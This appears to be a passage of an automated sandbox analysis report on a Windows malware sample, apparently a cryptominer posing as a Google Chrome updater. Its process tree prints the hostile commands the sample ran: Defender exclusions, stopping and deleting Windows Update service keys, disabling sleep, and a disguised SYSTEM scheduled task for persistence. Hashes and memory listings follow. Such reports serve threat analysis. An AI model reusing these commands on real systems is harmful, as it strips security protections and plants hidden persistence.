C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3484

C:\Windows\SYSTEM32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
4⤵
- Suspicious use of WriteProcessMemory
PID:3248

C:\Windows\system32\sc.exe
sc stop UsoSvc
5⤵
- Launches sc.exe
PID:1904

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
5⤵
- Launches sc.exe
PID:4048

C:\Windows\system32\sc.exe
sc stop wuauserv
5⤵
- Launches sc.exe
PID:3824

C:\Windows\system32\sc.exe
sc stop bits
5⤵
- Launches sc.exe
PID:4672

C:\Windows\system32\sc.exe
sc stop dosvc
5⤵
- Launches sc.exe
PID:4556

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
5⤵
PID:4640

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
5⤵
PID:4472

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
5⤵
- Modifies security service
PID:4176

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
5⤵
PID:836

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
5⤵
PID:660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#bcatrumjd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4068

C:\Windows\SYSTEM32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of WriteProcessMemory
PID:4036

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:60

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4652

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4512

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4480

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#hyrgjwg#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:106112

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
5⤵
PID:4624

C:\Users\Admin\AppData\Local\Temp\setup12.exe
"C:\Users\Admin\AppData\Local\Temp\setup12.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2820

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /TN Cache-S-21-2946144819-3e21f723 /TR "C:\Users\Admin\AppData\Local\cache\MoUSO.exe"
4⤵
- Creates scheduled task(s)
PID:2592

C:\Users\Admin\AppData\Local\Temp\setup1232.exe
"C:\Users\Admin\AppData\Local\Temp\setup1232.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3472

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
4⤵
PID:106448

C:\Users\Admin\AppData\Local\Temp\watchdog.exe
"C:\Users\Admin\AppData\Local\Temp\watchdog.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3168

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:106148

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:4804

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4260

C:\Windows\system32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:5632

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:5860

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:5892

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:5964

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:6024

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:6036

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:6056

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:6072

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
PID:6096

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:6116

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:6432

C:\Windows\system32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:5644

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:5848

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:5880

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:5932

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:5996

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#bcatrumjd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5676

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe sqolsuydhn
2⤵
PID:7912

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
3⤵
- Drops file in Program Files directory
PID:7952

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:7936

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
- Modifies data under HKEY_USERS
PID:8016

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe yaiuavjrxlzbmxlm GoySvqjslEz2cJjLp/l+rjzn6ce4jALjhSdARaKlIdOzscb8uSA4DC45OD1DpPEqiKy9RognxgdgL26xl6pHcgBuSDH82m22H2uTx/gYzO827+5kpstbfmCCWwx/haNMZTpvRN2AWJn3nj807NkQH/uc5YsiTBf742xyjDXcUT/RYfnhcLyzybIWgXn+7JafUmbaP5sh35EaxsiGFShuRY1L5Fi1uvVZnjU0an3bePXHEXYChHiocVdekR4gVKAc85wY8WomQkvNXfo8OnI8G68t0jyGDhrkDKs7kWaJz2DMj5MokwVvSUi2Y2TsrAP/8HOYVji2aTn31s7dz3/WlCN+UmM7HFUgStV0krKswFnOvNVFJHtjMrdLvilnrbVN4TalQD/4emuEzW66JneW1gPpwmfG4wZ3KDbx5PuSQNfaXWXA/ZHUajSlAeIWD5N6
2⤵
PID:8060

C:\Users\Admin\AppData\Local\cache\MoUSO.exe
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:6544

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scripting

T1064

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Impair Defenses

T1562

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
7.1MB

MD5
d38b0be7a75f44a464fae4850792d85f

SHA1
b2f26d385e01704e04b56bde28b3e2a1892e4e7f

SHA256
33b1ee0ef1ce8e0a1f9e6b4e192eacf6f94b23836898c8ba27b0c057493a9727

SHA512
d7fafa719384524906a42239f5b18a2c2859bdd68eb4fd6ae63ab653c556a88752903f711cf10b5d1f8838858fbd296997e97ebde74735d881ffadd35f09171c

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
7.1MB

MD5
d38b0be7a75f44a464fae4850792d85f

SHA1
b2f26d385e01704e04b56bde28b3e2a1892e4e7f

SHA256
33b1ee0ef1ce8e0a1f9e6b4e192eacf6f94b23836898c8ba27b0c057493a9727

SHA512
d7fafa719384524906a42239f5b18a2c2859bdd68eb4fd6ae63ab653c556a88752903f711cf10b5d1f8838858fbd296997e97ebde74735d881ffadd35f09171c

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
Filesize
1KB

MD5
83685fee48970b2a2cca8a970f72f59f

SHA1
844f062afbea6e3f8c2b23cf9ee4cc950c791b04

SHA256
8ada5309e3bc7ea19213e606632723b0e9bb928f516593c4601ae45af8538ad0

SHA512
08a636b3fb222e6abbc904f8c4d8118f9d1aae81b2237a05be4110b66f7882343f6ad6835470832f94613bdf66254a446446535204a4d11e9801a94976115cf6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
Filesize
438B

MD5
e9a2e8fd2659ef018ed5e40bfbc99a1c

SHA1
21a1aa40d2b9749dcc7c514a14b57706a50f669b

SHA256
9bfb09eb0557fd5419cf4416864d75ab2f7850e17f85a09ae7935c6e4460289f

SHA512
2f2a8143742e6c679aa00a85cf98940fa47f5a9347e386fe8dba232b49e0c773b5b6d526de0025c99fc9b6cadcd2b1fa6b943c5282ed40cfc2b4f322c61a19b7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
8592ba100a78835a6b94d5949e13dfc1

SHA1
63e901200ab9a57c7dd4c078d7f75dcd3b357020

SHA256
fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

SHA512
87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
7bdab70088ab925d3faa9452acaebf8f

SHA1
9d051f5451153d2f13926f5e4e11e65d34ba4b3a

SHA256
33aaa429019b122bc347cee6ae17038a7b046c1beb59069e7867c474912e5012

SHA512
f14ef3162db624d0357edbbe1d42736fadadd2b97e06bfad86c01d35d01b5c7541dae0fa2e36b723176004d2d0a623f949c46b8ade053c92a6a11c6a1c20118d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
e2a3a98a8527bd3b41b335ffe51bbf74

SHA1
34f131aa8cb5ebbd3fa67ee21415ab40a3105906

SHA256
e26f440f373044a2d53169da7fc91706196ed97ea12ea541a0bdd1b12cdcd93d

SHA512
287e7b9074c973dc9ad088117b62cab58c7acbd1171e647ecaff1e7509fa0201501395c9032de214742afabdc742ea3f27fc5983f836583981b3921dc3bb4208

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup.exe
Filesize
7.1MB

MD5
0810352270005ca86d15c8ba0d2704ab

SHA1
6b5b3d9c32706773b5dfcc2bc6f7a2529480c6fe

SHA256
dc8e45248dbc615f80a6cd7a28fbef0d925bdce86bee35762abe45efa57a7a8d

SHA512
ec1fff1b05ca1e4f61f6b57b1f53eaa875587de3bfa3687d95fd705ca85480f15992d504454a17819dfa5f927cd37f67e8c9225b249ecd587ece18ed0884af80

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup.exe
Filesize
7.1MB

MD5
0810352270005ca86d15c8ba0d2704ab

SHA1
6b5b3d9c32706773b5dfcc2bc6f7a2529480c6fe

SHA256
dc8e45248dbc615f80a6cd7a28fbef0d925bdce86bee35762abe45efa57a7a8d

SHA512
ec1fff1b05ca1e4f61f6b57b1f53eaa875587de3bfa3687d95fd705ca85480f15992d504454a17819dfa5f927cd37f67e8c9225b249ecd587ece18ed0884af80

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup12.exe
Filesize
1.3MB

MD5
0a409a72f0374f2b9628046f2fda83e9

SHA1
21f80c9813bc1b27ab4567b3fe7c495d9da983fd

SHA256
006870ca65bcda51a9b72316cfc03457993c361d837f1c8a16a19a65bfea5070

SHA512
8e7926e59d2b18547eb87869bbbda692e00cb7253eb0c0c5b233a17e0eb6c2f799b68a902e400b902c4ed943e31d6e52ef67f412df924dd956e082c89cb324d4

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup12.exe
Filesize
1.3MB

MD5
0a409a72f0374f2b9628046f2fda83e9

SHA1
21f80c9813bc1b27ab4567b3fe7c495d9da983fd

SHA256
006870ca65bcda51a9b72316cfc03457993c361d837f1c8a16a19a65bfea5070

SHA512
8e7926e59d2b18547eb87869bbbda692e00cb7253eb0c0c5b233a17e0eb6c2f799b68a902e400b902c4ed943e31d6e52ef67f412df924dd956e082c89cb324d4

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup1232.exe
Filesize
4.8MB

MD5
ec9aac18ea30414269a033ac31700031

SHA1
da44c12cf6f006fb12bbd49861aa028ee6d47551

SHA256
97237951893465ed8e9465ba9b3fd1ba04626b619d72721329ef9b89a23e3791

SHA512
ff8c1e9462435928a925fe9a49f05dfd5ca72ab519fd989605b490f2c52ffd9b43a83d9843799df39daeca0042d3766716e8254cfd05f12598495715125872ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup1232.exe
Filesize
4.8MB

MD5
ec9aac18ea30414269a033ac31700031

SHA1
da44c12cf6f006fb12bbd49861aa028ee6d47551

SHA256
97237951893465ed8e9465ba9b3fd1ba04626b619d72721329ef9b89a23e3791

SHA512
ff8c1e9462435928a925fe9a49f05dfd5ca72ab519fd989605b490f2c52ffd9b43a83d9843799df39daeca0042d3766716e8254cfd05f12598495715125872ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\watchdog.exe
Filesize
2.3MB

MD5
16cc5385354fe53a8a4f10a3c1d6e504

SHA1
0188aa75f084706eff23acac354c8a5d540a8795

SHA256
51aefda1af82fde0809a71728833d653e7d240a17f00ebc3bdd8d87079758c3f

SHA512
bfd279f192a59b23d76ce0d66cf090ad4f7020c2028ffe538607716bca17c36289e99250a0e1dc848b7d6eb28e58c42bd3302d954bb1c2f54f71fb4d0a1475f7

Download Submit
C:\Users\Admin\AppData\Local\Temp\watchdog.exe
Filesize
2.3MB

MD5
16cc5385354fe53a8a4f10a3c1d6e504

SHA1
0188aa75f084706eff23acac354c8a5d540a8795

SHA256
51aefda1af82fde0809a71728833d653e7d240a17f00ebc3bdd8d87079758c3f

SHA512
bfd279f192a59b23d76ce0d66cf090ad4f7020c2028ffe538607716bca17c36289e99250a0e1dc848b7d6eb28e58c42bd3302d954bb1c2f54f71fb4d0a1475f7

Download Submit
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
Filesize
1.3MB

MD5
0a409a72f0374f2b9628046f2fda83e9

SHA1
21f80c9813bc1b27ab4567b3fe7c495d9da983fd

SHA256
006870ca65bcda51a9b72316cfc03457993c361d837f1c8a16a19a65bfea5070

SHA512
8e7926e59d2b18547eb87869bbbda692e00cb7253eb0c0c5b233a17e0eb6c2f799b68a902e400b902c4ed943e31d6e52ef67f412df924dd956e082c89cb324d4

Download Submit
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
Filesize
1.3MB

MD5
0a409a72f0374f2b9628046f2fda83e9

SHA1
21f80c9813bc1b27ab4567b3fe7c495d9da983fd

SHA256
006870ca65bcda51a9b72316cfc03457993c361d837f1c8a16a19a65bfea5070

SHA512
8e7926e59d2b18547eb87869bbbda692e00cb7253eb0c0c5b233a17e0eb6c2f799b68a902e400b902c4ed943e31d6e52ef67f412df924dd956e082c89cb324d4

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
811d351aabd7b708fef7683cf5e29e15

SHA1
06fd89e5a575f45d411cf4b3a2d277e642e73dbb

SHA256
0915139ab02088c3932bcc062ce22d4e9c81aa6df0eacd62900d73d7ad2d3b18

SHA512
702d847c2aa3c9526ddf34249de06e58f5e3182d6ef66f77ddbdbbd2e9836026da6eacac2c892cf186d79bdc227a85c14f493b746c03233ef8820d981721c70a

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
302a7c179ef577c237c5418fb770fd27

SHA1
343ef00d1357a8d2ff6e1143541a8a29435ed30c

SHA256
9e6b50764916c21c41d6e7c4999bdf27120c069ec7a9268100e1ce5df845149f

SHA512
f2472371a322d0352772defb959ea0a9da0d5ca8f412f6abafac2e6547bcc8a53394a6fb81b488521fc256bfc9f3205d92c6b69d6d139bdb260fb46578946699

Download Submit
C:\Windows\system32\drivers\etc\hosts
Filesize
2KB

MD5
0180e40701fe82d46b27e54f3b7f0e40

SHA1
a4fbb6b23f68b392f438bda3642aa524dff9aa70

SHA256
20cc352bcb8ad20db89893b7ecd6b77df1d46b2f725650afb9f35f2e3b29dbf9

SHA512
06bdc253fe0915103e82dcfb029cd3fe79ae0fd603f1777ef01e932133e88440fc56b6cb6d05369b0dce86c3c3a054bc9bdb1115552328e91c6fcdb297fd0bfb

Download Submit
memory/60-260-0x0000000000000000-mapping.dmp

Download
memory/660-283-0x0000000000000000-mapping.dmp

Download
memory/836-282-0x0000000000000000-mapping.dmp

Download
memory/1804-120-0x0000000140000000-0x0000000140022000-memory.dmp

Filesize
136KB

Download
memory/1804-121-0x0000000140003E0C-mapping.dmp

Download
memory/1804-122-0x0000000140000000-0x0000000140022000-memory.dmp

Filesize
136KB

Download
memory/1804-123-0x0000000140000000-0x0000000140022000-memory.dmp

Filesize
136KB

Download
memory/1804-124-0x0000000140000000-0x0000000140022000-memory.dmp

Filesize
136KB

Download
memory/1804-291-0x0000000140000000-0x0000000140022000-memory.dmp

Filesize
136KB

Download
memory/1804-125-0x0000000140000000-0x0000000140022000-memory.dmp

Filesize
136KB

Download
memory/1904-252-0x0000000000000000-mapping.dmp

Download
memory/2384-131-0x00007FF7D2F80000-0x00007FF7D3C7A000-memory.dmp

Filesize
13.0MB

Download
memory/2384-126-0x0000000000000000-mapping.dmp

Download
memory/2384-141-0x00007FFF19E90000-0x00007FFF1A06B000-memory.dmp

Filesize
1.9MB

Download
memory/2384-129-0x00007FF7D2F80000-0x00007FF7D3C7A000-memory.dmp

Filesize
13.0MB

Download
memory/2384-128-0x00007FF7D2F80000-0x00007FF7D3C7A000-memory.dmp

Filesize
13.0MB

Download
memory/2384-359-0x00007FFF19E90000-0x00007FFF1A06B000-memory.dmp

Filesize
1.9MB

Download
memory/2384-354-0x00007FF7D2F80000-0x00007FF7D3C7A000-memory.dmp

Filesize
13.0MB

Download
memory/2384-130-0x00007FFF19E90000-0x00007FFF1A06B000-memory.dmp

Filesize
1.9MB

Download
memory/2384-138-0x00007FF7D2F80000-0x00007FF7D3C7A000-memory.dmp

Filesize
13.0MB

Download
memory/2384-133-0x00007FF7D2F80000-0x00007FF7D3C7A000-memory.dmp

Filesize
13.0MB

Download
memory/2384-135-0x00007FF7D2F80000-0x00007FF7D3C7A000-memory.dmp

Filesize
13.0MB

Download
memory/2384-134-0x00007FF7D2F80000-0x00007FF7D3C7A000-memory.dmp

Filesize
13.0MB

Download
memory/2384-132-0x00007FF7D2F80000-0x00007FF7D3C7A000-memory.dmp

Filesize
13.0MB

Download
memory/2592-505-0x0000000000000000-mapping.dmp

Download
memory/2820-207-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-146-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-181-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-182-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-199-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-200-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-201-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-202-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-205-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-206-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-136-0x0000000000000000-mapping.dmp

Download
memory/2820-208-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-211-0x0000000000CF0000-0x000000000105C000-memory.dmp

Filesize
3.4MB

Download
memory/2820-139-0x0000000000CF0000-0x000000000105C000-memory.dmp

Filesize
3.4MB

Download
memory/2820-174-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-140-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-142-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-143-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-180-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-144-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-145-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-159-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-173-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-160-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-148-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-149-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-384-0x0000000000CF0000-0x000000000105C000-memory.dmp

Filesize
3.4MB

Download
memory/2820-150-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-151-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-509-0x0000000000CF0000-0x000000000105C000-memory.dmp

Filesize
3.4MB

Download
memory/2820-152-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-230-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-231-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-153-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-154-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-155-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-156-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-263-0x0000000000CF0000-0x000000000105C000-memory.dmp

Filesize
3.4MB

Download
memory/2820-162-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-157-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/2820-158-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/3168-288-0x0000000000000000-mapping.dmp

Download
memory/3248-248-0x0000000000000000-mapping.dmp

Download
memory/3472-217-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/3472-224-0x0000000077390000-0x000000007751E000-memory.dmp

Filesize
1.6MB

Download
memory/3472-363-0x0000000005B80000-0x0000000005BB2000-memory.dmp

Filesize
200KB

Download
